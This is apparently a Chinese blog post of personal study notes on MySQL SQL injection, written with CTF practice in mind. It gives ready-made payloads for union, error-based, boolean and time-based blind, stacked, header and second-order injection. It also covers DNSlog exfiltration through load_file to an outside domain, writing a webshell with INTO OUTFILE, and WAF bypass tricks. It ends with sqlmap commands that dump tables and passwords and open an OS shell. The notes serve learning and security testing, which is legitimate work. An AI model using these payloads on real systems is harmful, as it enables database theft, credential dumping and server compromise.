sql注入

sql注入


MySQL前置知识

重要表

MySQL5.0后,默认在数据库存放"information_schema"数据库
库里三个重要表:SCHEMATA、TABLES、COLUMNS

SCHEMATA存储该用户所有数据库的库名,SCHEMA_NAME字段就是所有数据库的库名


TABLES存储该用户所有数据库的库名和库里面的表名,TABLE_SCHEMA、TABLE_NAME字段分别为数据库名、表名


COLUMNS存储该用户所有数据库的库名和库里面的表名和表里的字段名,TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME


重要函数

database():当前网站使用的数据库

version():当前MySQL版本

user():当前MySQL用户


注释

#或--空格或/**/ (--空格一般用--+)

内联注释:/*! ... */ 可用来执行我们的sql语句



字符型与数字型

数字型:payload中的数字传到服务器端的代码时是以数字形式解析

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

字符型:被当成字符串解析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";


判断哪种类型

1、/?id=1 可正常查询界面

/?id=1 and 1=1 和 /?id=1 and 1=2

当这两个payload都能查询界面时,则是字符型,不能则是数字型

2、/?id=2-1 (不用+号,因为+可能会被解析成空格)

当是数字型时会做运算,字符型则不会


数字型不需闭合sql语句,直接构造payload,字符型需先闭合原sql语句,再进行构造,最后注释后面代码


union注入

流程

确定字符型、数字型,order by判断列数,查库名、表名,列名,值


order by/group by

(用于判断表中有多少字段),group by 和order by payload类似,order by被waf过滤时可用

order by用法:对指定列进行排序

当使用的是数字时,会对查询的指定列进行排序

假设user表有3个字段(列)

如 select * from user order by 3,该句会以第三个字段进行排序

当3改成4时会报错,以此来判断该表拥有多少字段


一般界面只回显查询的一行,当ID有效时,会回显正常的界面,当ID无效时,我们使用的union自然就到第一行去了,此时就可以得到我们想要的数据


group_concat()

把查询的信息放到同一行显示


语句

select group_concat(table_name) from information_schema.tables where table_schema=database(),查表名

select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users',查字段名,users就是上面查出来的表名,可变

select group_concat(id,username,password) from users,查值,括号里的是上面查出来的字段名,可变


报错注入

当不回显东西,回显报错信息时使用

报错注入只显示一条语句,用时加上limit 0,1

extractvalue()

extractValue(doc,'路径'),doc是列名(用数字的话代表哪列,随便写)

concat()

将括号里的参数拼接,concat(1,2) : 12

0x7e:~,在concat中用 '~' 也行(为了破坏路径,导致报错)

concat(0x7e,(select database()))

concat('~',(select database()))

有的书是concat(0x7e,(select database()),0x7e)多拼接一个~

不一定用union select,用个可执行语句就行(and 。。)

通过不断修改括号里的select ,查询出自己想要的东西

extractvalue()和updatexml()报错回显最多32字符

substring()

substring(str,begin,length)

如:substring('abcd',1,2):把abcd这个字符串,从第一个位置a开始,读取2个字符长度。输出 ab

通过截断,来显示报错注入更多的字符


updatexml()

updatexml(doc,'路径',value):doc,和路径与extractvalue()一样,第三个是更新后的值(doc和value随便写)


floor()

最多回显64个字符

rand()

随机返回0-1间的小数(rang()*2就返回0-2间的小数)

select rand() from users:users有多少行数据返回多少行

floor()

小数向下取整,ceiling():小数向上取整

concat_ws()

将括号内数据用第一个字段连接起来

concat_ws('~',a,b) 结果为:a~b


group by:根据一列或多列对结果集进行分组

as:取别名

count():统计函数,统计该列数量

limit:显示指定行数

注入成因:SQL注入报错注入之floor()报错注入原理分析_floor报错注入-CSDN博客


payload

and extractvalue(1,concat('~',(语句)) --+

and updatexml(1,concat('~',(语句),3) --+

union select 1,count(*),concat_ws('~',(语句),floor(rand(0)*2)) as a from information_schema.tables group by a


文件上传注入

条件:有上传权限

into outfile函数:写入数据到指定文件(深入了解:MySQL讲义第 36 讲——select 查询之 INTO OUTFILE参数_select into outfile-CSDN博客

当secure_file_priv为空时可将文件放到任意指定位置(目录必须存在,文件会自动新建),为NULL时不可

将一句话木马写入指定路径文件,后用蚁剑连接

payload

"" into outfile "文件路径"



盲注

当不回显信息,不会显报错信息时使用

布尔盲注

通过页面真假值,进行不断尝试


ascii(),ord()

把字符变成对应的数字,ascll('A') : 65

ord('A'):65

substr()

substr('abcd',1,1) 第二个参数是,从字符串的第一个字符开始,第三个参数为长度。

length()

length('aaaa'):4

可先用length来判断想要的内容长度

通过修改substr第二个参数,不断获取数据库的名字(获取数据库名字的过程是猜数字的过程,通过转换后的ascll码的大小比较和界面真假显示来获取内容)


时间盲注

当不回显信息,不会显报错信息,真假值不改变时,且服务器为执行我们的sql语句时使用

sleep()

休眠n秒


if()

if(2>1,select 1,select 2):输出1(第一个参数为判断语句,条件为真时执行第一个参数,为假执行第三个参数)


结合布尔盲注的猜数字环节,通过sleep响应时间长短判断


DNSlog

前提:有文件上传条件(比盲注快)

load_file()

读取对应路径的文件:select load_file("C:\Users\12345\Desktop\challenge.txt"):读取桌面的challenge.txt文件,也可读取网络上的路径

网站

CEYE - Monitor service for security testing //固定域名

DNSLog Platform //临时域名

申请一个域名后,可记录有谁访问过你的子域名


load_file()中的路径需用""闭合,闭合后我们的select语句失效,因此需要用concat拼接命令

当查询表名列名时,要加limit 来控制查询长度,dns限制长度

域名前要加.

域名后得加个路径文件,如:/1.txt


自动:dnsqlinj:


payload

and ascii(substr((语句),num,1))>? --+:num为查询内容的长度,?为猜测的ascll码大小,可以用各种判断符,不局限于大于号

and if(ascii(substr((语句),num,1))>?,sleep(0),sleep(3)) --+

and (select load_file(concat("//",(语句 limit 0,1),".域名/1.txt")))


堆叠注入

mysql以分号结尾,在闭合后加个分号然后再执行自己想要的语句

条件:使用支持多条sql语句查询的方法

PDO执行SQL语句时,可以执行多条语句,但PDO只会返回第一条SQL语句执行的结果,所以在第二条语句中可以用update更新数据或者使用时间盲注获取数据。


POST报文头注入

页面看不到明显变化,找不到注入点时尝试报头注入(用报错注入即可)



User-agent

UA(用户代理):一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息。

用途:限制打开的软件,浏览器,管理上网行为。


原因:源代码中有拼接uagent的内容到语句中的代码

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

用bp修改user-agent进行上面的各种注入

注意:要闭合),原本insert有几个值就要插入几个(这个要怎么判断我就不知道了)


Referer

Referer是HTTP请求header 的一部分,当浏览器(或者模拟浏览器行为)向web 服务器发送请求的时候,头信息里有包含Referer。比如我在www.sojson.com 里有一个www.baidu.com 链接,那么点击这个www.baidu.com ,它的header 信息里就有: Referer=https://www.sojson.com(更多:什么是Referer?Referer的作用?空Referer是怎么回事? —技术博客 (sojson.com)

用途:防盗链,防止恶意请求

原因:源代码中有拼接referer的内容到语句中的代码

$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

所谓“cookie”数据是指某些网站为了辨别用户身份,储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息。

通俗来讲就是指缓存数据,包括用户名、密码、注册账户、手机号等公民个人信息。

原因:源代码中有拼接cookie的内容到语句中的代码

$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

payload

' or extractvalue(1,concat('~',(语句))),2,3) #
2,3是为了闭合insert前面的列数

用上面的各种注入的语句即可,记得闭合好代码(有源码时)


二次注入

两个条件:

(1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如addslashes、mysql_real_escape_string转义)
(2)数据库对自己存储的数据非常放心,直接取出恶意数据给用户

原因:插入数据时仅给' "等字符前加\转义,但插入到数据库时,\不插入进去

当注册账号为admin'#时,检查时是admin\'#,插入数据库时为admin'#

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

当我们登录admin'# 账号进行密码修改时,相当于修改了admin的密码



绕过技术

and or 绕过

&& ||


注释绕过

当过滤注释符时使用

1' or 1=1'

拼接到语句中:'1' or 1=1'',后面两个单引号凑成一对(很容易出问题)

1' ...... and '1'='1

拼接到语句中:'1' ...... and '1'='1',使用字符相等闭合,......写语句


空格绕过

waf过滤空格

1、+

2、使用url编码替换

spaces                    %20
TAB 09 horizontal TAB     %09
LFOA newline              %0A
FF OC new page            %0C
CR OD carriage return     %0D
VT 0B vertical TAB        %0B
-OA-(MySQL only)          %A0

3、报错注入

||extractvalue(1,concat('~',(语句)))||'1'='1

select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())

语句中通过使用括号实现空格的作用


逗号绕过

过滤,时使用

join :内联连接两张表

union select 1,2,3 等价于
union select * from (select 1)a join (select 2)b join (select 3)c

union select * from (语句)a join (语句)b join (语句)c --+


大小写绕过

MySQL 默认大小写不敏感

我觉得是后端代码中有个字符匹配,匹配到“union,order by”等字符就不给继续,但没使用正则表达式 /i 模式进行不区分大小写的匹配

union select ?,? 不给信息

UnioN SeLeCt ?,? 给信息(每个单词尽量多几个大小写,buuctf 的 newstarctf week2 ezsql不知道为什么,大小写少了也不给东西)


双写绕过

如图,本身的‘order‘变成了’der‘,有一些特定的字符被过滤且扔掉了(变成空白),当它的过滤机制只有一次时,就可以双写,如 oorrder by ,此时or被过滤,剩下的order就成功被执行了,(不过一般都一直拼接匹配直到没有关键字才继续往下执行的吧)


二次编码绕过

成因:后端程序的编码函数,如urldecode() 、rawurldecode()、base64_decode();与PHP本身处理编码时,两者配合失误,使得攻击者可以构造数据消灭\

$id = mysql_real_escape_string($_GET['id']);
//mysql_real_escape_string(),给' " 等特定字符加\

//使用urldecode()函数进行解码
$id = urldecode($id);

$sql = "SELECT * FROM usres WHERE id = '$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

当传入为1%2527时,服务器先url解一次码,变成1%27,到mysql_real_escape_string()函数时不会转义,被然后被urldecode解码后,引入注入


宽字节注入

addslashes函数:给' " 等特殊字符前添加\转义(用于防止sql注入)


前提:数据库使用GBK编码

原理:宽字节注入-CSDN博客

'->%27,\->%5c,当%df和%5c在一起时会被认为是中文,%df%5c%27,前两个被理解成中文,后面的'逃逸

'前添加%df,之后就随便注了


超大数据包绕过

安全狗3.5检查数据包大小有限制,可在POST请求中构造1' /*....*/ 语句,来进行绕过

分块传输绕过

将数据包分成多块进行传输,绕过waf(bp安插件使用)


sqlmap

sqlmap -r
https://blog.csdn.net/qq_44159028/article/details/118566645

#get注入
sqlmap -u ""    #基础扫描
sqlmap -u "" --level 5 --risk 3    #全面扫描
sqlmap -u "" --dbs    #爆库
sqlmap -u "" -D 库名 --tables    #爆表
sqlmap -u "" -D 库名 -T 表名 --columns    #爆列
sqlmap -u "" -D 库名 -T 表名 -C 列名 --dump    #值
sqlmap -u "" -D 库名 -T 表名 -C “列名1,列名2" --dump    #值

#post注入
sqlmap -u "" --data="key=value"
sqlmap -u "" --forms    #kali自测


sqlmap -u “” --os-shell    #getshell,注意url问题
sqlmap -u "" --is-dba    #判断权限
–os-shell的执行条件:
1.网站的权限必须是root
2.需要直到网站的绝对路径
3.GPC为off,php主动转义功能关闭

sqlmap -u "" --users    #列出管理用户
sqlmap -u "" --passwords    #列出密码

posted @ 2023-10-30 18:37  ^cyi^  阅读(29)  评论(0编辑  收藏  举报